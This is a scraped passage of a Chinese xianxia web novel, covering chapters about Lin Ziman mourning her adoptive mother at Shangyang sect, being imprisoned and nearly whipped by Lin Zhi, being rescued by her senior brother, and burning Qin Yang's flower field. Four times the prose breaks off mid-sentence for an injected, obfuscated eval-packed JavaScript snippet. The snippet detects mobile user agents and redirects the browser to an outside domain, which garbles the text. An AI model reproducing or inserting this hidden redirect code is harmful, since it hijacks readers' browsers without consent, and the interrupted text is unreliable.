锐利的眼神在触及林子满后一怔,笑意瞬间溢开:“是长老啊。” 见她一改往日随意挽起的长发,梳了个端端正正的发髻,秦扬有些意外:“长老这是要出门么?” 林子满点点头:“有事要出去一趟。你在这儿做什么?” “想着来湖边碰碰运气,说不定能碰到长老。”秦扬笑道,“现在看来我运气还不错。” “长老今日这副打扮倒是让我想起一样东西。”他自怀里摸出一物,抬手轻轻插在林子满的发髻中,正是那根他在摘花会中赢来的发簪。 仔细簪好后,秦扬稍退一步,细细端详了片刻,满意地笑起来。 林子满有些不自在,抬手欲取,却被他一把捉住了手腕。 他盯着林子满的眼睛,带着期待与祈求,语气又有几分不容拒绝:“这次别再拒绝我了,好么?” 黑沉的眼眸是那样深邃,专注凝视一个人时仿佛能生出无限深情,望着这双熟悉的眼,林子满手上不自觉就松了力度。 她不再坚持去取头上的簪子,而是细细端详起面前俊美的青年。 一寸一寸,从乌黑的长发,到精致的眉眼,再到挺拔的鼻梁,视线最终落于那锋利的薄唇。 薄薄的两瓣唇显出刻薄又绝情的弧度,偏偏是与外表截然不同的柔软,还总是吐出甜蜜又令人沦陷的话语。 秦扬被她看得莫名有些紧张,久久落在他唇上的视线更是令他有些口干舌燥。就在他忍不住想做点什么时,林子满忽然开了口:“你有什么要跟我说的吗?” 她的声音很轻,被沁骨湖边的风卷去大半,落在秦扬耳朵里只剩几个含糊的音节。 “什么?” “你有话要对我说吗?”林子满倏尔抬眸,直直望进秦扬眼睛里,好似能看透他的内心。 不知怎的,秦扬突然觉得,自己好像在面对一个十分重要的问题,答的不好他或许就会错失什么。 本最擅长洞察人心的秦扬难得犹豫起来,心中百转千回,一瞬间闪过无数个念头,他揣摩着林子满平静的神色,却实在猜不透她的想法。 最终,他试探着说:“我确实有话要对长老说,但现在还不是时候,需得等到长老回来。” 林子满神色未变,继续看了他片刻后点了点头,示意自己知道了。 但秦扬却心里一沉,他知道自己答错了。 林子满不再多说什么,转身欲走,秦扬轻轻拉住了她的衣袖:“长老还没说何时回来呢?” 上阳宗离永凌山虽远,以她的速度,御剑飞行一天的时间绰绰有余,林子满估摸了一下日程:“短则三五日,长则十日左右。” 秦扬虽心下不安,脸上却依旧笑意盈盈:“回来前传讯给我吧,我想给长老看样东西。” . 云山之巅,巍峨耸立的楼阁在七彩流云中若隐若现,纤长优雅的仙鹤引着来宾穿梭其中。 一身白衣的女子心中一动,忽然伸手搔了搔仙鹤翅根下的绒毛。 仙鹤发出不满的清啼,对眼前不礼貌的女子怒目而视,狂扇翅膀卷来一阵风将她的头发吹乱,糊了她满脸。 忽略周围人鄙夷的眼光,林子满讪讪地理了理头发。 是她忘了,五百年过去,上阳宗的仙鹤早就不知道换过多少批了,当初那些迫于她的淫威,乖乖展开翅膀任人蹂躏的仙鹤怕是早都不在了。 修真界并不像凡人那样讲究丧葬,死讯告知天下后,不设灵堂不邀宾客,来者随心,下葬仪式庄严却简单,只当是与活着的人做最后的告别。 因此当林子满看见停灵于大殿的棺椁时,难免有些惊讶,整座大殿竟被布置成了凡间灵堂的模样。但随后她就恍然意识到,周芜本就是凡人出生,按凡间的仪式办,也算是一种圆满。 周芜本是凡间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902877|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山中一名猎户家的女儿,年少时心善救下了因意外落于凡间的林征,后来父母皆死于猛虎爪下,孤苦无依的她便被林征带入了上阳宗。 虽有机缘踏入修仙一途,但周芜的资质实在过于平庸,无数天材地宝砸下去也没能突破到元婴,只能靠各种丹药续命,如今是连灵药也续不了命了。 不同的境界有不同的寿命,修为不能更往前一步,什么灵丹妙药也阻止不了死亡的降临。 周芜是这样,林子满将来也会是这样。 林子满看着眼前的棺椁,雕龙刻凤,描兰绘草,漂亮得没有一丝沉重的感觉,不像棺椁,反倒像个精美的工艺品,是她生前最喜欢的风格。 棺中之人安静地躺在那里,神情安详,仿佛只是在床上睡着了,但所有人都知道,这一睡,她再也不会睁开那双眼睛了。 林子满静静地望着她,心里空茫茫一片,离别总是有许多话要说的,但林子满什么话都想不起来,脑子里只有一个念头:世上再也没有这么个人了,她再也见不到她了。 自她离开上阳宗时,就知道她们这辈子几乎可以说是再无相见的机会了,可就算见不到,也知道她在同一片天空下的另一个地方好好生活着。 可死亡带来的再不相见是不一样的。 从此以后,世界上再也没有周芜了,她喊了那么多年的阿娘,五百年前失去了一次,现在又彻底失去了一次。 林子满在棺椁前站了很久很久,久到灵堂里的弟子频频投来疑惑的视线,久到小腿隐隐有些发麻,久到她再也找不到待下去的理由。 ——再见了……阿娘。 林子满轻声呢喃着道别,那声“阿娘”更是轻不可闻,除了她再没有任何人能听见。 她深吸一口气,最后深深看了棺椁里的人一眼,像是怕自己反悔一样决然转身。 通红的眼睛却陡然撞进了另一人眼中,深吸的那口气就这么卡在了她喉咙里,欲上不得,欲下不能,直将她憋得心肝肺腑一起疼了起来,连眼前都起了一层雾。 真丢人啊,林子满有些难堪地想,明明一点都不难过的,这下被别人看到了还以为她多悲痛欲绝呢。 林子满缓了好一阵,才将卡在喉咙里的那口气一点一点吐了出来,而后垂下眼睫,朝不知什么时候起站在她身后的男人客气地行了个礼。 “——林宗主。” 林征眼神复杂地看着眼前的女子,良久没有说话。 以他的修为,看穿千面妖丹的伪装是件很容易的事,两人对这件事都心知肚明,却没人开口点破,好似林子满真的只是一位来吊唁的普通宾客而已。 许久之后,林征忽然抬手一挥,灵光散去后,林子满露出了原本的容貌,只听他哑着嗓子开口:“让她看看你吧。” 让她看看这个多年未见的女儿吧,不管是怨愤,愧疚,心疼,思念,都让她再看最后一眼吧。 林子满静默片刻,转身,以原本的样貌对周芜笑了笑,而后深深躬下身子,行了最后一礼。 61. 道歉 林子满随着林征的脚步,慢慢走至一个偏僻的角落。 沉默在两人之间蔓延,林子满也没有催促,安静地等着,过了许久,林征才迟疑着开口:“你这些年……过得怎么样?” 过得怎么样? 林子满有些好笑地想,其实她自己也不知道,说不上好也说不上坏,还不就那样浑浑噩噩地过呗。 但她开口时,仍是只有一句:“挺好的。” “阿芜走之前,唯一牵挂的就是你了。”林征轻声道,“当年你离开后,就再也没了消息,有句话阿芜一直想跟你说,也是我一直想说的。” 他看着林子满,语带歉意:“对不起。” 林子满怔住了,她从未想过林征会跟她道歉。 当初不是没有委屈过,可她不敢跟别人诉说委屈,她觉得自己根本没有资格委屈,只能一遍遍告诉自己,这是她应该承受的,怪不了任何人。 这么多年来,她以为自己早就看开了,可听到这声道歉时,眼泪却突然像有了自己的想法,怎么压都压不住。 林子满咽下喉间酸涩的哽咽,勉强笑道:“你们没什么对不起我的,要说对不起也该是我来说才对。” 林征摇摇头:“我知道当年的事伤透了你的心,你做了我们几十年的女儿,我们该知道你是什么样的人的,你做不出抢夺别人身体的事。”他苦笑道:“我们那样对你,你恨我们是应该的。” “我真的一点都不恨你们。”这话林子满对自己说过无数遍,后来她信了,所以这次她希望林征也能信,“你们没做错什么,我占了别人的身体,得到了不该得到的东西,一切都是该还的。” 林征听她这样说,也只能轻叹一声:“你能来看阿芜,她就很满足了。恨不恨的,都是几百年前的事了,现在也挽回不了什么了。” 对啊,都已经是几百年前的恩怨了,这要是在凡间,天大的恩怨都会随着人的死去而烟消云散,这桩心结,他们早就该放下了。 “你以后,自己多保重。”林征的语气忽然变得慈祥起来,好像又成了许多年前那个严厉又慈爱的父亲。 说完,他目光深沉地看了林子满最后一眼,转身准备离开。 “林宗主——”林子满叫住他,踌躇片刻,劝解道,“夫人的事还请多节哀,逝者已矣,活着的人还得好好活。” 林征脚步一顿,背对着她点了点头,随后有些犹豫地开口,语气隐隐有些期待:“你如今还愿意……再叫我一声爹吗?” 林子满沉默着没说话。 林征等了片刻,身后依旧一片安静。 他苦笑一声,不再纠缠,主动跳过了这个话题,他仰头看着天边的流云:“从我不顾父母反对,坚持要娶阿芜开始,我就知道迟早会有这么一天。当一件事想了很多遍再发生时,其实也没那么难过的。” 林征走后,林子满沿着蜿蜒而下的石阶慢慢走着,脑子里回想着他刚刚说过的话,仍有些恍惚,她耿耿于怀了那么多年的事,今天好似得到了解脱,可她并无释然的感觉,反而更加迷茫了。 她想得那么认真,那么忘我,以至于完全没注意到朝她后颈袭来的灵光。 . 林子满是被一盆冷水浇醒的。 双手双脚皆被铁链死死缠绕着绑在柱子上,那铁链仿佛生了利齿,紧紧咬着她的皮肉,贪婪地吸取着她的灵力。 林子满眨了眨酸痛的眼睛,隔着水雾看清了站在自己面前的人。 “没想到在得失境那种境地下,还能让你捡回一条命,你还真是命大啊。”林芷居高临下地看着她,“那你想过自己还会落到我手里吗?” 林子满鼻子里呛了水,忍不住咳了几声,瓮声瓮气地开口:“你到底想干什么?” “我想干什么?”林芷有些好笑地重复了一遍,下一刻语调陡然变得阴冷,“我想干什么你难得不知道吗?” 她凑到林子满的耳边,呢喃道:“我想要的一直都是你的命啊,这么多年来从未变过。” 林子满漠然看着她:“若有本事你拿去便是。” “你觉得我不敢?”林芷双手抱臂,眉头一挑,过了片刻,忽然自嘲地笑了笑,“也对,你的命灯还在长生殿里摆着,又才与父亲叙完旧,若就这么死了,父亲定会追查,若追查到我头上,那还真是麻烦了。” 她伸手钳住林子满的下巴,猛地朝自己的方向一拧,眼神怨毒地盯着她:“你很得意吧?” 林子满好笑:“我有什么好得意的?我如今都落到这种地步了,还得意的起来吗?” “你自然该得意,你多厉害、多招人喜欢啊。”林芷冷笑,“明明我才是他们的女儿,明明我才是林芷满!你才是那个冒充我的人!!”她的语气变得狠戾起来,“我吃尽苦头,好不容易才回到上阳宗,可是我的父母呢?他们甚至不愿意为了我杀了你!明明一切都是因为你!” “因为你,我从天下第一宗门的少主,变成了人人可欺的农家女,明明你是罪魁祸首,父亲母亲却仍然记挂你!母亲临死之前都还在念叨你!你怎么能不得意呢?这多令人得意,多值得骄傲啊?!” “你知道我为何改名叫林芷吗?因为每次他们唤我小满时,都会恍惚一下,我知道那是因为想起了你。那明明是我的名字,是父亲母亲想了许久才为我取好的名字!何时竟成了你的?!” “既然不再是独属于我的东西,那我也不屑于再要,任何人都不要再管我叫小满。林芷满早就被杀死了,被你们一刀刀杀死了。” 林子满静静地看着她在一旁歇斯底里地喊叫,待她稍微平静下来才道:“我知道我欠了你很多,所以当初你指认我的时候,我并未反驳,直接承认了,你要我剖丹还给你,我也毫无怨言。” “明明取走我的金丹,我就会变成一个普通人,瞬间老去,甚至运气再差点,换丹过程中发生意外,直接就死透了,这不就是你想看到的结果吗?你为什么又要放过我,对师兄下手呢?他与你无怨无仇,根本没有什么对不起你的地方!” “你以为我不想要你的金丹吗?!”林芷彻底愤怒了,“我告诉你,害死他的不是我,而是你自己!” “杨之曜找到我,说要替你将一切还与我时,我直接就拒绝他了。可他呢?他竟然威胁我!” “他说他有的是手段救你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902878|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,到时候我就别想再通过换丹重入仙途,而且还会想尽办法让别人相信我才是个骗子,你才是真正的林芷满!到时候我将一无所有,重新过回以前那种猪狗不如的日子!” “我能有什么办法呢?我才刚回上阳宗,什么势力都没有,我怎么斗得过他这个备受推崇的宗主爱徒呢?!” “他还说自己修为已至元婴,若由他来替你,我还算得了好处了,呵呵……好处……我可真是占了你们天大的‘便宜’啊!”林芷嘲讽地笑起来,眼底一片赤红。 林子满瞳孔骤然一缩。 她万万没想到,当年的真相竟然是这样。 这些年来她百思不得其解,怎么都想不明白林芷为什么会放过她,同意让杨之曜替她承受这一切。 原来竟是这样。 世人皆知上阳宗宗主爱徒杨之曜,丰神俊朗,光风霁月,是放在整个修真界都担得起君子二字的人,这样一个行事磊落的人,为了她竟然学会了威逼利诱。 可她根本不值得他这样做。 “他多爱你啊,明明自己没了元婴就必死无疑,也要让你活得舒舒服服的,连让你老去都舍不得。” “可是,他原本是我的师兄,如果你没有抢走我的身体,他爱上的就会是我。可为了救你这个鸠占鹊巢的人,他不惜对他真正的师妹下手!” 说着说着,她突然发出一声意味不明的哼笑,像是想到什么有趣的事情:“多可笑,他甘愿为了你去死,你却找了个跟他长得一样的人当替身,这就是你们所谓的情爱?也不怎么样嘛。跟你一样的下贱,令人恶心!” 将堵在心里多年的恨意发泄出来后,林芷的情绪渐渐平稳下来,她欣赏了一阵林子满痛苦的表情,心情愉悦地勾起了唇角:“既然现在还不宜取你性命,那我们就先来玩点儿其他的吧。” 她转身在一旁摆放的木架上挑拣起来,想挑一件趁手的刑具。 最终,林芷选定了一条布满倒钩的铁鞭。 那铁鞭由玄铁制成,坚不可摧,上面密密麻麻布满了倒刺,一根一根闪着幽幽寒光。 林芷将铁鞭凑到眼前,细细地观察着倒刺微微弯起的弧度:“你说,是这铁鞭抽在身上疼,还是生生剖开丹田疼呢?” 林子满冷冷看着她,一言不发。 “你不知道也没关系,我会让你一一体会到的。”林芷一脸笑意,“不用谢我,你与杨之曜这么情深意重的,我猜你一定很想知道他死的时候有多痛苦,那我就发一回善心,满足你好了。” 话音刚落,她扬起手中的鞭子朝林子满狠狠抽了下来,动作狠戾,脸上却带着甜美的笑容,在地牢阴暗的光线下,像一只妖诡又美丽的艳鬼。 鞭风呼啸而下,倒刺阴冷的尖钩叫嚣着冲林子满的皮肉咬过来。 林子满咬紧牙关偏过头,准备硬挨这一鞭。 想象中的剧痛并未袭来,“铿锵——”一声尖兵碰撞的声音在林子满耳边炸开,久久回荡在空旷的地牢里。 林子满睁开眼睛,看见铁鞭缠绕在一柄利剑之上,目光右移落到持剑之人身上,只见来者剑眉星目,气质沉稳,正眼神复杂地望着她。 62. 再见 半炷香前,林征正往灵堂走去,准备去交代一些明日下葬过程中的小细节,忽然撞见一个弟子背着人,惊慌失措地从一旁跑过。 他皱眉叫住那名弟子,走过去询问:“出了何事?慌慌张张的?” 弟子看见林征眼前顿时一亮,仿佛看见了救星,他将身上背着的人平放在地上,朝着林征猛磕几个响头,几乎快哭出来了,喊道:“宗主!求您救救赵师弟吧!” 躺在地上的小弟子一动不动,脸色发青,嘴唇已是可怖的青黑色。林征一看他的脸色就知不妙,忙打出一道灵力护住他的心脉,又封住周身几处大穴,防止毒扩散得更严重。 “这是怎么回事?他这明明是身中剧毒之状,谁给他下的毒?”林征肃声质问。 “无人给他下毒啊。”弟子却是一脸茫然,“他一直好好的,方才我们在石阶上捡到一根发簪,不知怎的,赵师弟就突然抽搐着晕了过去,我怎么喊都喊不醒,输了灵力也没用,我见他情况越发不好才背着他来找人救命的。” 林征疑惑:“发簪?” “对,就是这个。”弟子连忙递上手里攥着的发簪。 林征接过一看,心中顿时一沉。 这是方才他才在林子满头上看到过的碧玉簪。 这碧玉簪水头极好,雕成竹枝的模样几乎能以假乱真,更重要的是它不仅是支装饰用的发簪,而且暗藏剧毒,是件不错的防身法宝。 碧玉簪若是不小心跌落在石阶上,林子满不可能没有发觉,也不会就这样随意丢弃一件法宝,难道是遭遇了什么意外? 林征沉着脸回想起前几日,陪同林芷一起去得失境的护卫回禀过的话,他们在那里碰到了一名女子,林芷忽然情绪暴动,非要置那人于死地。 现在想来,他们遇到的人应该就是林子满。 那林子满在上阳宗可能会遭遇的意外,也只能是林芷了。 林征一边唤人将中毒的小弟子搬去医治,一边沉声道:“叫月南来见我。” . 地牢里,林子满看着来人,一时有些发怔,不自觉喃喃出声:“……大师兄?” 魏月南责备地瞪了她一眼,没好气地说:“还知道我是你大师兄啊?” 林子满讪讪地不说话了。 从前在上阳宗时,除了杨之曜,就是魏月南这个大师兄最为照顾她了。林征平日里忙于宗门事务,他们这些年幼的弟子都是魏月南在照拂,不论是闭关修行还是外出历练,哪怕是衣食住行上有了短缺,魏月南都会周全照应到,说一句长兄如父也不为过。 后来林芷突然找上门,她被关入地牢,杨之曜又擅自作主将她送了出去,此后再未踏入过上阳宗,也没有联系过这些旧识。 当时事发突然,来不及与任何人告别,可事后,也该传讯给这些关心她的人,不说解释一二,至少也要报个平安。 林子满说不清当时是什么样的心态,一方面是杨之曜的死给了她太大的打击,她无暇顾及其他事;一方面是她看到了林征与周芜的态度,不自觉害怕退缩了,她怕魏月南也会觉得她是邪魔外道,嫌弃她厌恶她,还不如就此断绝来往,至少能保留一份曾经的美好。 因此如今林子满有些不知该怎么面对魏月南,她那样擅自揣测他的态度,单方面断绝了来往,魏月南应该是有些伤心的。 好在魏月南没再继续责难她,而是“刷”地一声甩落剑身上缠绕的铁鞭,一脸严肃地转向了林芷。 “少主,自得失境回来之后,师父已经严厉斥责并罚过你,严令禁止你再滥杀无辜,如今你这般作为,是要与师父对着干吗?” 林芷扔掉手里握着的铁鞭,拍手拭去灰尘,不在意地说:“那又如何?有本事你杀了我啊。” 这噎死人的话一出,魏月南脸色丝毫未变,想必已经不是第一次面对这种情况了。 “我自然不能对少主做什么,是师父请你过去一趟。”魏月南手一伸,做了个请的姿势。 与此同时,一道白色灵光自他掌心飞出,飞速没入林芷眉心。 林芷动作一顿,脸色倏地变了:“魏月南!你别太把自己当回事了!” 魏月南一脸平静道:“我暂时走不开,只得委屈少主自己过去一趟了。” 他朝一同前来的弟子使了个眼色,两名女弟子立刻走上前,一左一右要来扶林芷。 林芷狠狠甩开两人的手,怒喝道:“滚开!别碰我!” 她脸色阴沉地盯着魏月南,语气森然:“你给我等着,我迟早弄死你!” 语毕,又以同样的眼神看了林子满一眼,掉头大步朝外走去。 魏月南背对着林子满,轻轻叹了口气。片刻后,挥手撤去捆住林子满手脚的铁链。 林子满乍离了铁链的绑缚,手脚一软,险些跌倒在地,好在魏月南眼疾手快地搀住了她。 “没事吧?”魏月南担忧地问。 林子满摇摇头:“没事,灵力有些不支罢了。” 捆住她的不是一般的铁链,会时时刻刻吸取被绑之人的灵力,若是在灵气稀薄之地被这种铁链绑上,用不了多久,就会被直接吸成人干。 林子满调转体内灵力慢慢恢复着,魏月南就在一旁眼神复杂地看着她。 过了片刻,林子满呼出最后一口气,睁开眼睛,朝一直看着她的魏月南笑了笑:“大师兄怎么这样看着我,是不认识我了吗?” “我倒是认得你,你怕是早将我忘了吧?毕竟几百年来没有丝毫音讯。”魏月南冷冷道。 林子满心虚地摸了摸鼻子,冲魏月南露出个讨好的笑:“怎么会呢,大师兄从前对我的好,我可都记在心里呢。” 魏月南冷哼一声,心里仍有些气,但看着林子满这幅跟从前一样讨好卖乖的样子,就什么重话都说不出来了,千言万语最终化成了一声重重的叹息。 “当年的事,我虽不清楚内情,但一切早已尘埃落地,我就不再多问了。只是你得知道,这里还有记挂着你的人,就算不愿透露去处,至少也要报个平安吧?这些年来,若非长生殿里你的命灯一直亮着,我几乎以为……”魏月南说不下去了,偏头抹了把脸。 林子满愧疚道:“对不起,这件事是我做的不对。”接着连忙保证,“大师兄你放心,以后我再也不会这样了。” “得了吧,这话你从小到大不知说过多少遍了。”魏月南轻拍了下她的头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902879|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然,他眉头一凝,疑惑道:“怎么五百年过去了,你还只是元婴后期?” 林子满的天资与悟性皆不俗,五百年前就已是金丹后期,这么多年过去,修为怎么也不该只进阶了这么点。 林子满心里咯噔一下,面上却是滴水不漏:“这些年忙着四处游玩,修行难免就懈怠了。我又不像从前,肩上挑着上阳宗的担子,一举一动都关乎着上阳宗的颜面,好不容易轻松自在了,我可不想再天天枯坐山洞闭关修炼。” 听着她孩子气的话,魏月南又好笑又无奈:“也罢,你开心就好。” 说着,他拿出林征交给他的发簪,递给林子满:“喏——这么大的人了,还是丢三落四的,不过这次也多亏了它。” 林子满伸手接过,眸光微动,没想到秦扬临走前硬塞给她的发簪,竟帮她从林芷手中逃过一劫。 走出地牢,外头的阳光正是耀眼的时候,刺得林子满微微眯起了眼,她不自觉伸手在额前一挡,下一刻却怔住了。 视线穿过掌心,将将好落在了远处一棵巨大的花树上,各色花朵正纷纷扬扬,随风四处飘荡。 五百年里,无数人来了又去,上阳宗里已没有几张她熟悉的面孔,就连仙鹤都不知道换过几批了,这棵年岁悠久的花树竟然还在,当真是时移世异,物是人非。 魏月南:“明日便是师娘下葬之日,你当真不再多留一日吗?” 林子满放下遮挡的手,任由阳光将自己刺得直泛泪意,脸上却带着释然的笑,她摇摇头:“该说的话都说完了,我的身份也不宜出现在明天那种场合,就当提前送过了。” “有空……还是能回来看看的,师父嘴上不说,心里还是想你的。”魏月南将她送至山脚,语重心长地说。 林子满冲他扬起个灿烂的笑:“大师兄,有时间我一定会回来看你的,到时候你可不要嫌我来得勤。” 魏月南屈指在她脑门一弹,失笑:“我哪敢嫌你啊大小姐。” 林子满推着他往回走了几步:“行了,大师兄你别送了,快回去吧,再送我都舍不得走了。” 林子满倒退着走了几步,最后朝他挥了挥手,大声道:“再见了!大师兄!”而后决然转身,大步朝远方走去。 在她转身的一瞬,两人嘴角都好似再也撑不住般,慢慢耷拉了下来,脸上带着的笑散了个干干净净。 他们心里都清楚,林子满不会再回来了,这一别或许就是再也不见。 林子满来上阳宗时,御剑仅用了一日,回永凌山却花了整整七日的时间。 这一路她走得很慢,时而御剑时而步行,走走停停,仿佛要将一路上的风景都看个遍。 山间的风是清爽的,溪里的水是沁凉的,花草树木皆欣欣向荣,鸟兽鱼虫都自由自在。 看着世界这般美好,心里的郁结好似跟着一起散尽了,往日的恩恩怨怨都随风而逝,困囿于过去的自己重获自由。 林子满左瞧瞧右逛逛的,十分悠然惬意,直到在山门前看见迎风而立的人,才猛然想起自己先前答应过的事。 ——秦扬让自己回来前传讯于他,可这一路过来她早已将这事忘得一干二净。 63. 花海 林子满干咳一声,有些心虚地走过去:“抱歉啊,我这几日有些忙,忘记提前给你传讯了。” 秦扬不在意地笑笑:“没事的,这不是刚好在这儿等到长老了嘛。” 秦扬说得轻巧,丝毫未提这“刚好”二字背后是多少日漫长的等待。 林子满:“所以你这么郑重其事的,到底是有什么稀奇的东西要给我看?” 秦扬笑而不语,并未直接回答,抬手召来佩剑横立于二人身前:“长老先闭上眼睛,我带你去个地方。” 林子满怀疑地看着他,卖什么关子呢? 但她没有多问,犹豫片刻后还是踩上他的剑,闭上了眼睛。 秦扬一手轻轻扶在她肩头,一手虚虚拢在她腰侧,心念一动,剑如流光般飞射而出。 待到耳边呼啸的风声停下时,林子满听见秦扬说:“到了,可以睁眼了。” 林子满依言睁眼,下一刻猛地瞪大了眼,整个人僵在了原地。 眼前是一片蓝色的花海。无数的小花在风中摇曳,细小的花茎托着柔软的花瓣,铺满了整座山峰,纯净得没有一丝杂质的蓝,几乎快要跟天空融为一体。 看着林子满怔然看呆的模样,秦扬有些自得:“第一次见面时,我不小心刺破了你的锦囊,毁了里面装着的花。本打算种一片赔你,却遍寻不到花种。第一次看见这种花时,我就觉得你一定会喜欢,就退而求其次,种了一山送你。” “是挺喜欢的。”林子满轻声道。 她的语气是那样平静,平静到有些冷漠。但秦扬只听见那句“喜欢”,就彻底沉浸在喜悦的情绪里,完全没有注意到林子满的异样。 这样纯净的蓝色,看得人的心都跟着安静了下来,确实是林子满喜欢的东西。 但……为什么要种在这里呢? “你喜欢就好,这花有个很特别的名字。”说到这秦扬有些紧张地顿了顿,耳朵尖泛起微微的红,“叫喜林……” 他精心准备了好几天,耗费大量灵力供养这满山的花草,为的就是这最后一句话,但没等他说完就被无情地打断了。 “谁准你动这山上的东西的?”林子满冷冷地看着他。 秦扬一怔:“我看这里一直只有枯草,就把它们……” “我问你谁准你动它们的?!”林子满再次打断他。 秦扬不知所措地看着她。 林子满:“枯草怎么了?就不配待在山上吗?就活该被铲除,活该被替代吗?!” 秦扬沉默下来,不明白事情为什么会发展成这样,半晌后,他轻声道:“对不起。” “以后别再上无为峰。”林子满冷声说完,不再看他一眼,纵身一跃落在峰顶。 无形的波纹自山中散开,昭示着外人勿近的强硬态度。 一张火红的灵符自林子满手中飞出,绕着山峰飞转,倾泻下无数赤红烈焰。下一刻,漫山纯净的蓝色被火焰包裹、吞噬,直至化为灰烬。 无为峰又恢复了往日的荒凉。 深夜。 林子满坐在窗边,倚着矮几喝酒。 这酒在无为峰上放了好些年了,很烈,但林子满喝了许多,脑子却依旧清醒。 有时候酒量太好也是件坏事啊,林子满望着月亮想。 月亮一点一点爬高,直到越过屋檐再也看不见,林子满终于有了些醉意。她丢下酒壶,踉踉跄跄朝内室走去。 因着避尘珠的缘故,这屋子虽许久未有人住,依旧一尘不染,林子满脱下外衫随意一扔,往床上一倒就失去了意识。 今天这事其实也不能怪秦扬,永凌山地理位置极好,气候宜人,周围的山峰上皆是绿树成荫、百花盛放,反而是灵气充沛的无为峰,整座山都光秃秃的,唯有大片枯草萎顿其上。 他想着替林子满改善一下无为峰的风景,确实无可厚非。 但他千不该万不该,不该将那些枯草尽数毁去。 那大片的枯草,原是杨之曜为她种下的花海。 林子满初结金丹后,曾与杨之曜结伴外出游历,二人恰巧路过永凌山,不过是空中遥遥一望,林子满的目光便被无为峰上一大簇紫色花朵吸引住了。 她告诉杨之曜,那是她最喜欢的花,喜欢它却是因为一个悲伤的故事。 落日余晖下,林子满坐在紫色小花旁,静静地给他讲了个故事,一个她在曾经那个世界看到过的故事,明明最后是个美好的结局,她却感到无尽悲哀,久久难以释怀。 一个爱上爱人转世的故事。 “你觉得爱一个人到底是爱他的什么呢?灵魂吗?”林子满一直没能想出这个问题的答案,现在依旧迷茫,“可同样的灵魂经历了不同的事,成为的就是不同的人,爱上这个全新的人,难道不是对曾经的背叛吗?” 杨之曜想了许久,他自幼聪慧,却也堪不破这世上最复杂却又最简单的情感,最终只能说:“爱是从一起经历的一件件事情里发荣滋长的。” 同样的灵魂造就不同的人,即便理智清醒,爱却难以控制,更无法去辩驳对与错。 晚风拂过脸颊,舒适又惬意,林子满眺望着远方,有些不讲理地说:“话是这么说没错,但如果我死了,你绝不能去找我的转世,因为那不是我,你爱上她我会很难过的。我情愿你移情别恋爱上旁人,也不想被这样彻底替代。” 杨之曜用力揉了把她的头发,佯怒道:“胡说什么呢,别把这些不吉利的话挂在嘴边!再说了,人死如灯灭,这世上根本没有什么转世。” 当时林子满觉得没有转世挺好的,她最不愿看到的事情就不会发生,没想到后来深陷执念的却是她自己,为了寻求一个转世的机缘费尽心机。 就是那次在无为峰意外的停留,他们结识了吕秉清。 他们未经允许便进入无为峰,算是擅闯他宗领地,吕秉清本是来一探究竟的,没想到竟与杨之曜一见如故。 那时的杨之曜在修真界已小有名气,吕秉清此前虽从未见过他,却也听说过他的事迹,十分仰慕这样高风亮节又剑术卓绝的人,两个意气风发的少年相逢恨晚,不过短短几个时辰便成了生死相交的好兄弟。 听到林子满喜欢无为峰上的野花,吕秉清直接大手一挥,告诉他们可以随时来住,无为峰虽归属他名下,他却因此地偏远极少过来。 得了这样的允诺,杨之曜特意去学了相关法术,将那一簇花繁育得满山都是,微风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902880|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹过时,一团团梦幻的紫色在一片青绿中晃荡不已,当真是美极了。 只是后来,林子满满世界去寻转世机缘,得空回来时,满山的花不知为何竟都枯萎了,任她想尽办法也毫无转圜余地。 但林子满一直留着它们,即便只余满地枯草,看着它们,眼前就好像浮现出了那片梦幻的紫色。 所以秦扬将那些枯枝铲除,换成一片蓝色的花海时,林子满才会那么生气。 因为这让她感觉杨之曜在被取代,他存在过的痕迹一点点变成了秦扬的。 这不是林子满想要的。 她做这一切,只是想让秦扬顺顺利利走出一个灿烂的人生,这是杨之曜没有遇见她,本该会走的路。 而她也将带着与杨之曜的回忆,独自踏上她本来的归途。 